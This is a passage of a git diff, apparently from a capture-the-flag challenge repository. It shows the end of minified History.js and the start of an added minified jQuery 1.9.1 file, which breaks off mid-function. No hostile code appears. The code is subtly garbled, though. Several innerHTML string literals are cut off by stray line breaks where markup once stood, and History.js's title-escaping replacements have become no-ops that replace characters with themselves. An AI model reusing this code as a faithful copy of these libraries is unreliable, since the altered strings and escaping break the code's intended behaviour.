n=t.replace(/\/+$/,"").replace(/[^\/]+$/,function(e,t,n){return/\./.test(e)?e:e+"/"}),n},h.getBasePageUrl=function(){var e=h.getLocationHref().replace(/[#\?].*/,"").replace(/[^\/]+$/,function(e,t,n){return/[^\/]$/.test(e)?"":e}).replace(/\/+$/,"")+"/";return e},h.getFullUrl=function(e,t){var n=e,r=e.substring(0,1);return t=typeof t=="undefined"?!0:t,/[a-z]+\:\/\//.test(e)||(r==="/"?n=h.getRootUrl()+e.replace(/^\/+/,""):r==="#"?n=h.getPageUrl().replace(/#.*/,"")+e:r==="?"?n=h.getPageUrl().replace(/[\?#].*/,"")+e:t?n=h.getBaseUrl()+e.replace(/^(\.\/)+/,""):n=h.getBasePageUrl()+e.replace(/^(\.\/)+/,"")),n.replace(/\#$/,"")},h.getShortUrl=function(e){var t=e,n=h.getBaseUrl(),r=h.getRootUrl();return h.emulated.pushState&&(t=t.replace(n,"")),t=t.replace(r,"/"),h.isTraditionalAnchor(t)&&(t="./"+t),t=t.replace(/^(\.\/)+/g,"./").replace(/\#$/,""),t},h.getLocationHref=function(e){return e=e||r,e.URL===e.location.href?e.location.href:e.location.href===decodeURIComponent(e.URL)?e.URL:e.location.hash&&decodeURIComponent(e.location.href.replace(/^[^#]+/,""))===e.location.hash?e.location.href:e.URL.indexOf("#")==-1&&e.location.href.indexOf("#")!=-1?e.location.href:e.URL||e.location.href},h.store={},h.idToState=h.idToState||{},h.stateToId=h.stateToId||{},h.urlToId=h.urlToId||{},h.storedStates=h.storedStates||[],h.savedStates=h.savedStates||[],h.normalizeStore=function(){h.store.idToState=h.store.idToState||{},h.store.urlToId=h.store.urlToId||{},h.store.stateToId=h.store.stateToId||{}},h.getState=function(e,t){typeof e=="undefined"&&(e=!0),typeof t=="undefined"&&(t=!0);var n=h.getLastSavedState();return!n&&t&&(n=h.createStateObject()),e&&(n=h.cloneObject(n),n.url=n.cleanUrl||n.url),n},h.getIdByState=function(e){var t=h.extractId(e.url),n;if(!t){n=h.getStateString(e);if(typeof h.stateToId[n]!="undefined")t=h.stateToId[n];else if(typeof h.store.stateToId[n]!="undefined")t=h.store.stateToId[n];else{for(;;){t=(new Date).getTime()+String(Math.random()).replace(/\D/g,"");if(typeof h.idToState[t]=="undefined"&&typeof h.store.idToState[t]=="undefined")break}h.stateToId[n]=t,h.idToState[t]=e}}return t},h.normalizeState=function(e){var t,n;if(!e||typeof e!="object")e={};if(typeof e.normalized!="undefined")return e;if(!e.data||typeof e.data!="object")e.data={};return t={},t.normalized=!0,t.title=e.title||"",t.url=h.getFullUrl(e.url?e.url:h.getLocationHref()),t.hash=h.getShortUrl(t.url),t.data=h.cloneObject(e.data),t.id=h.getIdByState(t),t.cleanUrl=t.url.replace(/\??\&_suid.*/,""),t.url=t.cleanUrl,n=!h.isEmptyObject(t.data),(t.title||n)&&h.options.disableSuid!==!0&&(t.hash=h.getShortUrl(t.url).replace(/\??\&_suid.*/,""),/\?/.test(t.hash)||(t.hash+="?"),t.hash+="&_suid="+t.id),t.hashedUrl=h.getFullUrl(t.hash),(h.emulated.pushState||h.bugs.safariPoll)&&h.hasUrlDuplicate(t)&&(t.url=t.hashedUrl),t},h.createStateObject=function(e,t,n){var r={data:e,title:t,url:n};return r=h.normalizeState(r),r},h.getStateById=function(e){e=String(e);var n=h.idToState[e]||h.store.idToState[e]||t;return n},h.getStateString=function(e){var t,n,r;return t=h.normalizeState(e),n={data:t.data,title:e.title,url:e.url},r=l.stringify(n),r},h.getStateId=function(e){var t,n;return t=h.normalizeState(e),n=t.id,n},h.getHashByState=function(e){var t,n;return t=h.normalizeState(e),n=t.hash,n},h.extractId=function(e){var t,n,r,i;return e.indexOf("#")!=-1?i=e.split("#")[0]:i=e,n=/(.*)\&_suid=([0-9]+)$/.exec(i),r=n?n[1]||e:e,t=n?String(n[2]||""):"",t||!1},h.isTraditionalAnchor=function(e){var t=!/[\/\?\.]/.test(e);return t},h.extractState=function(e,t){var n=null,r,i;return t=t||!1,r=h.extractId(e),r&&(n=h.getStateById(r)),n||(i=h.getFullUrl(e),r=h.getIdByUrl(i)||!1,r&&(n=h.getStateById(r)),!n&&t&&!h.isTraditionalAnchor(e)&&(n=h.createStateObject(null,null,i))),n},h.getIdByUrl=function(e){var n=h.urlToId[e]||h.store.urlToId[e]||t;return n},h.getLastSavedState=function(){return h.savedStates[h.savedStates.length-1]||t},h.getLastStoredState=function(){return h.storedStates[h.storedStates.length-1]||t},h.hasUrlDuplicate=function(e){var t=!1,n;return n=h.extractState(e.url),t=n&&n.id!==e.id,t},h.storeState=function(e){return h.urlToId[e.url]=e.id,h.storedStates.push(h.cloneObject(e)),e},h.isLastSavedState=function(e){var t=!1,n,r,i;return h.savedStates.length&&(n=e.id,r=h.getLastSavedState(),i=r.id,t=n===i),t},h.saveState=function(e){return h.isLastSavedState(e)?!1:(h.savedStates.push(h.cloneObject(e)),!0)},h.getStateByIndex=function(e){var t=null;return typeof e=="undefined"?t=h.savedStates[h.savedStates.length-1]:e<0?t=h.savedStates[h.savedStates.length+e]:t=h.savedStates[e],t},h.getCurrentIndex=function(){var e=null;return h.savedStates.length<1?e=0:e=h.savedStates.length-1,e},h.getHash=function(e){var t=h.getLocationHref(e),n;return n=h.getHashByUrl(t),n},h.unescapeHash=function(e){var t=h.normalizeHash(e);return t=decodeURIComponent(t),t},h.normalizeHash=function(e){var t=e.replace(/[^#]*#/,"").replace(/#.*/,"");return t},h.setHash=function(e,t){var n,i;return t!==!1&&h.busy()?(h.pushQueue({scope:h,callback:h.setHash,args:arguments,queue:t}),!1):(h.busy(!0),n=h.extractState(e,!0),n&&!h.emulated.pushState?h.pushState(n.data,n.title,n.url,!1):h.getHash()!==e&&(h.bugs.setHash?(i=h.getPageUrl(),h.pushState(null,null,i+"#"+e,!1)):r.location.hash=e),h)},h.escapeHash=function(t){var n=h.normalizeHash(t);return n=e.encodeURIComponent(n),h.bugs.hashEscape||(n=n.replace(/\%21/g,"!").replace(/\%26/g,"&").replace(/\%3D/g,"=").replace(/\%3F/g,"?")),n},h.getHashByUrl=function(e){var t=String(e).replace(/([^#]*)#?([^#]*)#?(.*)/,"$2");return t=h.unescapeHash(t),t},h.setTitle=function(e){var t=e.title,n;t||(n=h.getStateByIndex(0),n&&n.url===e.url&&(t=n.title||h.options.initialTitle));try{r.getElementsByTagName("title")[0].innerHTML=t.replace("<","<").replace(">",">").replace(" & "," & ")}catch(i){}return r.title=t,h},h.queues=[],h.busy=function(e){typeof e!="undefined"?h.busy.flag=e:typeof h.busy.flag=="undefined"&&(h.busy.flag=!1);if(!h.busy.flag){u(h.busy.timeout);var t=function(){var e,n,r;if(h.busy.flag)return;for(e=h.queues.length-1;e>=0;--e){n=h.queues[e];if(n.length===0)continue;r=n.shift(),h.fireQueueItem(r),h.busy.timeout=o(t,h.options.busyDelay)}};h.busy.timeout=o(t,h.options.busyDelay)}return h.busy.flag},h.busy.flag=!1,h.fireQueueItem=function(e){return e.callback.apply(e.scope||h,e.args||[])},h.pushQueue=function(e){return h.queues[e.queue||0]=h.queues[e.queue||0]||[],h.queues[e.queue||0].push(e),h},h.queue=function(e,t){return typeof e=="function"&&(e={callback:e}),typeof t!="undefined"&&(e.queue=t),h.busy()?h.pushQueue(e):h.fireQueueItem(e),h},h.clearQueue=function(){return h.busy.flag=!1,h.queues=[],h},h.stateChanged=!1,h.doubleChecker=!1,h.doubleCheckComplete=function(){return h.stateChanged=!0,h.doubleCheckClear(),h},h.doubleCheckClear=function(){return h.doubleChecker&&(u(h.doubleChecker),h.doubleChecker=!1),h},h.doubleCheck=function(e){return h.stateChanged=!1,h.doubleCheckClear(),h.bugs.ieDoubleCheck&&(h.doubleChecker=o(function(){return h.doubleCheckClear(),h.stateChanged||e(),!0},h.options.doubleCheckInterval)),h},h.safariStatePoll=function(){var t=h.extractState(h.getLocationHref()),n;if(!h.isLastSavedState(t))return n=t,n||(n=h.createStateObject()),h.Adapter.trigger(e,"popstate"),h;return},h.back=function(e){return e!==!1&&h.busy()?(h.pushQueue({scope:h,callback:h.back,args:arguments,queue:e}),!1):(h.busy(!0),h.doubleCheck(function(){h.back(!1)}),p.go(-1),!0)},h.forward=function(e){return e!==!1&&h.busy()?(h.pushQueue({scope:h,callback:h.forward,args:arguments,queue:e}),!1):(h.busy(!0),h.doubleCheck(function(){h.forward(!1)}),p.go(1),!0)},h.go=function(e,t){var n;if(e>0)for(n=1;n<=e;++n)h.forward(t);else{if(!(e<0))throw new Error("History.go: History.go requires a positive or negative integer passed.");for(n=-1;n>=e;--n)h.back(t)}return h};if(h.emulated.pushState){var v=function(){};h.pushState=h.pushState||v,h.replaceState=h.replaceState||v}else h.onPopState=function(t,n){var r=!1,i=!1,s,o;return h.doubleCheckComplete(),s=h.getHash(),s?(o=h.extractState(s||h.getLocationHref(),!0),o?h.replaceState(o.data,o.title,o.url,!1):(h.Adapter.trigger(e,"anchorchange"),h.busy(!1)),h.expectedStateId=!1,!1):(r=h.Adapter.extractEventData("state",t,n)||!1,r?i=h.getStateById(r):h.expectedStateId?i=h.getStateById(h.expectedStateId):i=h.extractState(h.getLocationHref()),i||(i=h.createStateObject(null,null,h.getLocationHref())),h.expectedStateId=!1,h.isLastSavedState(i)?(h.busy(!1),!1):(h.storeState(i),h.saveState(i),h.setTitle(i),h.Adapter.trigger(e,"statechange"),h.busy(!1),!0))},h.Adapter.bind(e,"popstate",h.onPopState),h.pushState=function(t,n,r,i){if(h.getHashByUrl(r)&&h.emulated.pushState)throw new Error("History.js does not support states with fragement-identifiers (hashes/anchors).");if(i!==!1&&h.busy())return h.pushQueue({scope:h,callback:h.pushState,args:arguments,queue:i}),!1;h.busy(!0);var s=h.createStateObject(t,n,r);return h.isLastSavedState(s)?h.busy(!1):(h.storeState(s),h.expectedStateId=s.id,p.pushState(s.id,s.title,s.url),h.Adapter.trigger(e,"popstate")),!0},h.replaceState=function(t,n,r,i){if(h.getHashByUrl(r)&&h.emulated.pushState)throw new Error("History.js does not support states with fragement-identifiers (hashes/anchors).");if(i!==!1&&h.busy())return h.pushQueue({scope:h,callback:h.replaceState,args:arguments,queue:i}),!1;h.busy(!0);var s=h.createStateObject(t,n,r);return h.isLastSavedState(s)?h.busy(!1):(h.storeState(s),h.expectedStateId=s.id,p.replaceState(s.id,s.title,s.url),h.Adapter.trigger(e,"popstate")),!0};if(s){try{h.store=l.parse(s.getItem("History.store"))||{}}catch(m){h.store={}}h.normalizeStore()}else h.store={},h.normalizeStore();h.Adapter.bind(e,"unload",h.clearAllIntervals),h.saveState(h.storeState(h.extractState(h.getLocationHref(),!0))),s&&(h.onUnload=function(){var e,t,n;try{e=l.parse(s.getItem("History.store"))||{}}catch(r){e={}}e.idToState=e.idToState||{},e.urlToId=e.urlToId||{},e.stateToId=e.stateToId||{};for(t in h.idToState){if(!h.idToState.hasOwnProperty(t))continue;e.idToState[t]=h.idToState[t]}for(t in h.urlToId){if(!h.urlToId.hasOwnProperty(t))continue;e.urlToId[t]=h.urlToId[t]}for(t in h.stateToId){if(!h.stateToId.hasOwnProperty(t))continue;e.stateToId[t]=h.stateToId[t]}h.store=e,h.normalizeStore(),n=l.stringify(e);try{s.setItem("History.store",n)}catch(i){if(i.code!==DOMException.QUOTA_EXCEEDED_ERR)throw i;s.length&&(s.removeItem("History.store"),s.setItem("History.store",n))}},h.intervalList.push(a(h.onUnload,h.options.storeInterval)),h.Adapter.bind(e,"beforeunload",h.onUnload),h.Adapter.bind(e,"unload",h.onUnload));if(!h.emulated.pushState){h.bugs.safariPoll&&h.intervalList.push(a(h.safariStatePoll,h.options.safariPollInterval));if(i.vendor==="Apple Computer, Inc."||(i.appCodeName||"")==="Mozilla")h.Adapter.bind(e,"hashchange",function(){h.Adapter.trigger(e,"popstate")}),h.getHash()&&h.Adapter.onDomLoad(function(){h.Adapter.trigger(e,"hashchange")})}},(!h.options||!h.options.delayInit)&&h.init()}(window) \ No newline at end of file diff --git a/challenges/challenge-cas/data/jquery.js b/challenges/challenge-cas/data/jquery.js new file mode 100644 index 00000000..5d9ee080 --- /dev/null +++ b/challenges/challenge-cas/data/jquery.js @@ -0,0 +1,5 @@ +/*! jQuery v1.9.1 | (c) 2005, 2012 jQuery Foundation, Inc. | jquery.org/license + //@ sourceMappingURL=jquery.min.map + */(function(e,t){var n,r,i=typeof t,o=e.document,a=e.location,s=e.jQuery,u=e.$,l={},c=[],p="1.9.1",f=c.concat,d=c.push,h=c.slice,g=c.indexOf,m=l.toString,y=l.hasOwnProperty,v=p.trim,b=function(e,t){return new b.fn.init(e,t,r)},x=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,w=/\S+/g,T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,N=/^(?:(<[\w\W]+>)[^>]*|#([\w-]*))$/,C=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,k=/^[\],:{}\s]*$/,E=/(?:^|:|,)(?:\s*\[)+/g,S=/\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,A=/"[^"\\\r\n]*"|true|false|null|-?(?:\d+\.|)\d+(?:[eE][+-]?\d+|)/g,j=/^-ms-/,D=/-([\da-z])/gi,L=function(e,t){return t.toUpperCase()},H=function(e){(o.addEventListener||"load"===e.type||"complete"===o.readyState)&&(q(),b.ready())},q=function(){o.addEventListener?(o.removeEventListener("DOMContentLoaded",H,!1),e.removeEventListener("load",H,!1)):(o.detachEvent("onreadystatechange",H),e.detachEvent("onload",H))};b.fn=b.prototype={jquery:p,constructor:b,init:function(e,n,r){var i,a;if(!e)return this;if("string"==typeof e){if(i="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:N.exec(e),!i||!i[1]&&n)return!n||n.jquery?(n||r).find(e):this.constructor(n).find(e);if(i[1]){if(n=n instanceof b?n[0]:n,b.merge(this,b.parseHTML(i[1],n&&n.nodeType?n.ownerDocument||n:o,!0)),C.test(i[1])&&b.isPlainObject(n))for(i in n)b.isFunction(this[i])?this[i](n[i]):this.attr(i,n[i]);return this}if(a=o.getElementById(i[2]),a&&a.parentNode){if(a.id!==i[2])return r.find(e);this.length=1,this[0]=a}return this.context=o,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,this):b.isFunction(e)?r.ready(e):(e.selector!==t&&(this.selector=e.selector,this.context=e.context),b.makeArray(e,this))},selector:"",length:0,size:function(){return this.length},toArray:function(){return h.call(this)},get:function(e){return null==e?this.toArray():0>e?this[this.length+e]:this[e]},pushStack:function(e){var t=b.merge(this.constructor(),e);return t.prevObject=this,t.context=this.context,t},each:function(e,t){return b.each(this,e,t)},ready:function(e){return b.ready.promise().done(e),this},slice:function(){return this.pushStack(h.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(0>e?t:0);return this.pushStack(n>=0&&t>n?[this[n]]:[])},map:function(e){return this.pushStack(b.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:d,sort:[].sort,splice:[].splice},b.fn.init.prototype=b.fn,b.extend=b.fn.extend=function(){var e,n,r,i,o,a,s=arguments[0]||{},u=1,l=arguments.length,c=!1;for("boolean"==typeof s&&(c=s,s=arguments[1]||{},u=2),"object"==typeof s||b.isFunction(s)||(s={}),l===u&&(s=this,--u);l>u;u++)if(null!=(o=arguments[u]))for(i in o)e=s[i],r=o[i],s!==r&&(c&&r&&(b.isPlainObject(r)||(n=b.isArray(r)))?(n?(n=!1,a=e&&b.isArray(e)?e:[]):a=e&&b.isPlainObject(e)?e:{},s[i]=b.extend(c,a,r)):r!==t&&(s[i]=r));return s},b.extend({noConflict:function(t){return e.$===b&&(e.$=u),t&&e.jQuery===b&&(e.jQuery=s),b},isReady:!1,readyWait:1,holdReady:function(e){e?b.readyWait++:b.ready(!0)},ready:function(e){if(e===!0?!--b.readyWait:!b.isReady){if(!o.body)return setTimeout(b.ready);b.isReady=!0,e!==!0&&--b.readyWait>0||(n.resolveWith(o,[b]),b.fn.trigger&&b(o).trigger("ready").off("ready"))}},isFunction:function(e){return"function"===b.type(e)},isArray:Array.isArray||function(e){return"array"===b.type(e)},isWindow:function(e){return null!=e&&e==e.window},isNumeric:function(e){return!isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[m.call(e)]||"object":typeof e},isPlainObject:function(e){if(!e||"object"!==b.type(e)||e.nodeType||b.isWindow(e))return!1;try{if(e.constructor&&!y.call(e,"constructor")&&!y.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(n){return!1}var r;for(r in e);return r===t||y.call(e,r)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},error:function(e){throw Error(e)},parseHTML:function(e,t,n){if(!e||"string"!=typeof e)return null;"boolean"==typeof t&&(n=t,t=!1),t=t||o;var r=C.exec(e),i=!n&&[];return r?[t.createElement(r[1])]:(r=b.buildFragment([e],t,i),i&&b(i).remove(),b.merge([],r.childNodes))},parseJSON:function(n){return e.JSON&&e.JSON.parse?e.JSON.parse(n):null===n?n:"string"==typeof n&&(n=b.trim(n),n&&k.test(n.replace(S,"@").replace(A,"]").replace(E,"")))?Function("return "+n)():(b.error("Invalid JSON: "+n),t)},parseXML:function(n){var r,i;if(!n||"string"!=typeof n)return null;try{e.DOMParser?(i=new DOMParser,r=i.parseFromString(n,"text/xml")):(r=new ActiveXObject("Microsoft.XMLDOM"),r.async="false",r.loadXML(n))}catch(o){r=t}return r&&r.documentElement&&!r.getElementsByTagName("parsererror").length||b.error("Invalid XML: "+n),r},noop:function(){},globalEval:function(t){t&&b.trim(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(j,"ms-").replace(D,L)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t,n){var r,i=0,o=e.length,a=M(e);if(n){if(a){for(;o>i;i++)if(r=t.apply(e[i],n),r===!1)break}else for(i in e)if(r=t.apply(e[i],n),r===!1)break}else if(a){for(;o>i;i++)if(r=t.call(e[i],i,e[i]),r===!1)break}else for(i in e)if(r=t.call(e[i],i,e[i]),r===!1)break;return e},trim:v&&!v.call("\ufeff\u00a0")?function(e){return null==e?"":v.call(e)}:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(M(Object(e))?b.merge(n,"string"==typeof e?[e]:e):d.call(n,e)),n},inArray:function(e,t,n){var r;if(t){if(g)return g.call(t,e,n);for(r=t.length,n=n?0>n?Math.max(0,r+n):n:0;r>n;n++)if(n in t&&t[n]===e)return n}return-1},merge:function(e,n){var r=n.length,i=e.length,o=0;if("number"==typeof r)for(;r>o;o++)e[i++]=n[o];else while(n[o]!==t)e[i++]=n[o++];return e.length=i,e},grep:function(e,t,n){var r,i=[],o=0,a=e.length;for(n=!!n;a>o;o++)r=!!t(e[o],o),n!==r&&i.push(e[o]);return i},map:function(e,t,n){var r,i=0,o=e.length,a=M(e),s=[];if(a)for(;o>i;i++)r=t(e[i],i,n),null!=r&&(s[s.length]=r);else for(i in e)r=t(e[i],i,n),null!=r&&(s[s.length]=r);return f.apply([],s)},guid:1,proxy:function(e,n){var r,i,o;return"string"==typeof n&&(o=e[n],n=e,e=o),b.isFunction(e)?(r=h.call(arguments,2),i=function(){return e.apply(n||this,r.concat(h.call(arguments)))},i.guid=e.guid=e.guid||b.guid++,i):t},access:function(e,n,r,i,o,a,s){var u=0,l=e.length,c=null==r;if("object"===b.type(r)){o=!0;for(u in r)b.access(e,n,u,r[u],!0,a,s)}else if(i!==t&&(o=!0,b.isFunction(i)||(s=!0),c&&(s?(n.call(e,i),n=null):(c=n,n=function(e,t,n){return c.call(b(e),n)})),n))for(;l>u;u++)n(e[u],r,s?i:i.call(e[u],u,n(e[u],r)));return o?e:c?n.call(e):l?n(e[0],r):a},now:function(){return(new Date).getTime()}}),b.ready.promise=function(t){if(!n)if(n=b.Deferred(),"complete"===o.readyState)setTimeout(b.ready);else if(o.addEventListener)o.addEventListener("DOMContentLoaded",H,!1),e.addEventListener("load",H,!1);else{o.attachEvent("onreadystatechange",H),e.attachEvent("onload",H);var r=!1;try{r=null==e.frameElement&&o.documentElement}catch(i){}r&&r.doScroll&&function a(){if(!b.isReady){try{r.doScroll("left")}catch(e){return setTimeout(a,50)}q(),b.ready()}}()}return n.promise(t)},b.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function M(e){var t=e.length,n=b.type(e);return b.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n||"function"!==n&&(0===t||"number"==typeof t&&t>0&&t-1 in e)}r=b(o);var _={};function F(e){var t=_[e]={};return b.each(e.match(w)||[],function(e,n){t[n]=!0}),t}b.Callbacks=function(e){e="string"==typeof e?_[e]||F(e):b.extend({},e);var n,r,i,o,a,s,u=[],l=!e.once&&[],c=function(t){for(r=e.memory&&t,i=!0,a=s||0,s=0,o=u.length,n=!0;u&&o>a;a++)if(u[a].apply(t[0],t[1])===!1&&e.stopOnFalse){r=!1;break}n=!1,u&&(l?l.length&&c(l.shift()):r?u=[]:p.disable())},p={add:function(){if(u){var t=u.length;(function i(t){b.each(t,function(t,n){var r=b.type(n);"function"===r?e.unique&&p.has(n)||u.push(n):n&&n.length&&"string"!==r&&i(n)})})(arguments),n?o=u.length:r&&(s=t,c(r))}return this},remove:function(){return u&&b.each(arguments,function(e,t){var r;while((r=b.inArray(t,u,r))>-1)u.splice(r,1),n&&(o>=r&&o--,a>=r&&a--)}),this},has:function(e){return e?b.inArray(e,u)>-1:!(!u||!u.length)},empty:function(){return u=[],this},disable:function(){return u=l=r=t,this},disabled:function(){return!u},lock:function(){return l=t,r||p.disable(),this},locked:function(){return!l},fireWith:function(e,t){return t=t||[],t=[e,t.slice?t.slice():t],!u||i&&!l||(n?l.push(t):c(t)),this},fire:function(){return p.fireWith(this,arguments),this},fired:function(){return!!i}};return p},b.extend({Deferred:function(e){var t=[["resolve","done",b.Callbacks("once memory"),"resolved"],["reject","fail",b.Callbacks("once memory"),"rejected"],["notify","progress",b.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return b.Deferred(function(n){b.each(t,function(t,o){var a=o[0],s=b.isFunction(e[t])&&e[t];i[o[1]](function(){var e=s&&s.apply(this,arguments);e&&b.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[a+"With"](this===r?n.promise():this,s?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?b.extend(e,r):r}},i={};return r.pipe=r.then,b.each(t,function(e,o){var a=o[2],s=o[3];r[o[1]]=a.add,s&&a.add(function(){n=s},t[1^e][2].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0]+"With"](this===i?r:this,arguments),this},i[o[0]+"With"]=a.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=h.call(arguments),r=n.length,i=1!==r||e&&b.isFunction(e.promise)?r:0,o=1===i?e:b.Deferred(),a=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length>1?h.call(arguments):r,n===s?o.notifyWith(t,n):--i||o.resolveWith(t,n)}},s,u,l;if(r>1)for(s=Array(r),u=Array(r),l=Array(r);r>t;t++)n[t]&&b.isFunction(n[t].promise)?n[t].promise().done(a(t,l,n)).fail(o.reject).progress(a(t,u,s)):--i;return i||o.resolveWith(l,n),o.promise()}}),b.support=function(){var t,n,r,a,s,u,l,c,p,f,d=o.createElement("div");if(d.setAttribute("className","t"),d.innerHTML="
a",n=d.getElementsByTagName("*"),r=d.getElementsByTagName("a")[0],!n||!r||!n.length)return{};s=o.createElement("select"),l=s.appendChild(o.createElement("option")),a=d.getElementsByTagName("input")[0],r.style.cssText="top:1px;float:left;opacity:.5",t={getSetAttribute:"t"!==d.className,leadingWhitespace:3===d.firstChild.nodeType,tbody:!d.getElementsByTagName("tbody").length,htmlSerialize:!!d.getElementsByTagName("link").length,style:/top/.test(r.getAttribute("style")),hrefNormalized:"/a"===r.getAttribute("href"),opacity:/^0.5/.test(r.style.opacity),cssFloat:!!r.style.cssFloat,checkOn:!!a.value,optSelected:l.selected,enctype:!!o.createElement("form").enctype,html5Clone:"<:nav>"!==o.createElement("nav").cloneNode(!0).outerHTML,boxModel:"CSS1Compat"===o.compatMode,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,boxSizingReliable:!0,pixelPosition:!1},a.checked=!0,t.noCloneChecked=a.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!l.disabled;try{delete d.test}catch(h){t.deleteExpando=!1}a=o.createElement("input"),a.setAttribute("value",""),t.input=""===a.getAttribute("value"),a.value="t",a.setAttribute("type","radio"),t.radioValue="t"===a.value,a.setAttribute("checked","t"),a.setAttribute("name","t"),u=o.createDocumentFragment(),u.appendChild(a),t.appendChecked=a.checked,t.checkClone=u.cloneNode(!0).cloneNode(!0).lastChild.checked,d.attachEvent&&(d.attachEvent("onclick",function(){t.noCloneEvent=!1}),d.cloneNode(!0).click());for(f in{submit:!0,change:!0,focusin:!0})d.setAttribute(c="on"+f,"t"),t[f+"Bubbles"]=c in e||d.attributes[c].expando===!1;return d.style.backgroundClip="content-box",d.cloneNode(!0).style.backgroundClip="",t.clearCloneStyle="content-box"===d.style.backgroundClip,b(function(){var n,r,a,s="padding:0;margin:0;border:0;display:block;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;",u=o.getElementsByTagName("body")[0];u&&(n=o.createElement("div"),n.style.cssText="border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px",u.appendChild(n).appendChild(d),d.innerHTML="
t
",a=d.getElementsByTagName("td"),a[0].style.cssText="padding:0;margin:0;border:0;display:none",p=0===a[0].offsetHeight,a[0].style.display="",a[1].style.display="none",t.reliableHiddenOffsets=p&&0===a[0].offsetHeight,d.innerHTML="",d.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;",t.boxSizing=4===d.offsetWidth,t.doesNotIncludeMarginInBodyOffset=1!==u.offsetTop,e.getComputedStyle&&(t.pixelPosition="1%"!==(e.getComputedStyle(d,null)||{}).top,t.boxSizingReliable="4px"===(e.getComputedStyle(d,null)||{width:"4px"}).width,r=d.appendChild(o.createElement("div")),r.style.cssText=d.style.cssText=s,r.style.marginRight=r.style.width="0",d.style.width="1px",t.reliableMarginRight=!parseFloat((e.getComputedStyle(r,null)||{}).marginRight)),typeof d.style.zoom!==i&&(d.innerHTML="",d.style.cssText=s+"width:1px;padding:1px;display:inline;zoom:1",t.inlineBlockNeedsLayout=3===d.offsetWidth,d.style.display="block",d.innerHTML="
",d.firstChild.style.width="5px",t.shrinkWrapBlocks=3!==d.offsetWidth,t.inlineBlockNeedsLayout&&(u.style.zoom=1)),u.removeChild(n),n=d=a=r=null)}),n=s=u=l=r=a=null,t}();var O=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,B=/([A-Z])/g;function P(e,n,r,i){if(b.acceptData(e)){var o,a,s=b.expando,u="string"==typeof n,l=e.nodeType,p=l?b.cache:e,f=l?e[s]:e[s]&&s;if(f&&p[f]&&(i||p[f].data)||!u||r!==t)return f||(l?e[s]=f=c.pop()||b.guid++:f=s),p[f]||(p[f]={},l||(p[f].toJSON=b.noop)),("object"==typeof n||"function"==typeof n)&&(i?p[f]=b.extend(p[f],n):p[f].data=b.extend(p[f].data,n)),o=p[f],i||(o.data||(o.data={}),o=o.data),r!==t&&(o[b.camelCase(n)]=r),u?(a=o[n],null==a&&(a=o[b.camelCase(n)])):a=o,a}}function R(e,t,n){if(b.acceptData(e)){var r,i,o,a=e.nodeType,s=a?b.cache:e,u=a?e[b.expando]:b.expando;if(s[u]){if(t&&(o=n?s[u]:s[u].data)){b.isArray(t)?t=t.concat(b.map(t,b.camelCase)):t in o?t=[t]:(t=b.camelCase(t),t=t in o?[t]:t.split(" "));for(r=0,i=t.length;i>r;r++)delete o[t[r]];if(!(n?$:b.isEmptyObject)(o))return}(n||(delete s[u].data,$(s[u])))&&(a?b.cleanData([e],!0):b.support.deleteExpando||s!=s.window?delete s[u]:s[u]=null)}}}b.extend({cache:{},expando:"jQuery"+(p+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(e){return e=e.nodeType?b.cache[e[b.expando]]:e[b.expando],!!e&&!$(e)},data:function(e,t,n){return P(e,t,n)},removeData:function(e,t){return R(e,t)},_data:function(e,t,n){return P(e,t,n,!0)},_removeData:function(e,t){return R(e,t,!0)},acceptData:function(e){if(e.nodeType&&1!==e.nodeType&&9!==e.nodeType)return!1;var t=e.nodeName&&b.noData[e.nodeName.toLowerCase()];return!t||t!==!0&&e.getAttribute("classid")===t}}),b.fn.extend({data:function(e,n){var r,i,o=this[0],a=0,s=null;if(e===t){if(this.length&&(s=b.data(o),1===o.nodeType&&!b._data(o,"parsedAttrs"))){for(r=o.attributes;r.length>a;a++)i=r[a].name,i.indexOf("data-")||(i=b.camelCase(i.slice(5)),W(o,i,s[i]));b._data(o,"parsedAttrs",!0)}return s}return"object"==typeof e?this.each(function(){b.data(this,e)}):b.access(this,function(n){return n===t?o?W(o,e,b.data(o,e)):null:(this.each(function(){b.data(this,e,n)}),t)},null,n,arguments.length>1,null,!0)},removeData:function(e){return this.each(function(){b.removeData(this,e)})}});function 